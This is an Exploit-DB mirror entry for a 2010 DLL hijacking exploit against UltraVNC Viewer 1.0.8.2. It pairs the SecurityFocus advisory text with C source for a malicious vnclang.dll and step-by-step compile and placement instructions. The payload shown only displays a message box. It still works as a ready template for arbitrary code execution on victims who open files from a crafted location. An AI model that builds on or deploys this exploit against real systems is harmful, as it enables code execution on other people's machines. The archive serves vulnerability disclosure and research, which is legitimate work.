exploit-db-mirror/exploits/windows/remote/34542.c
Offensive Security b4c96a5864 DB: 2021-09-03
28807 changes to exploits/shellcodes
2021-09-03 20:19:21 +00:00

45 lines
No EOL
1.3 KiB
C

// source: https://www.securityfocus.com/bid/42846/info
UltraVNC is prone to a vulnerability that lets attackers execute arbitrary code.
An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Link Library (DLL) file.
UltraVNC 1.0.8.2 is vulnerable; other versions may be affected.
/*
====================================================================
UltraVNC Viewer - Connection 105 DLL Hijacking Exploit (vnclang.dll)
====================================================================
$ Program: UltraVNC Viewer
$ Version: Connection 105
$ Download: http://www.uvnc.com/
$ Date: 2010/10/08
Found by Pepelux <pepelux[at]enye-sec.org>
http://www.pepelux.org
eNYe-Sec - www.enye-sec.org
Tested on: Windows XP SP2 && Windows XP SP3
How to use :
1> Compile this code as vnclang.dll
gcc -shared -o vnclang.dll thiscode.c
2> Move DLL file to the directory where UltraVNC is installed
3> Open any file recognized by UltraVNC
*/
#include <windows.h>
#define DllExport __declspec (dllexport)
int mes()
{
MessageBox(0, "DLL Hijacking vulnerable", "Pepelux", MB_OK);
return 0;
}
BOOL WINAPI DllMain (
HANDLE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{mes();}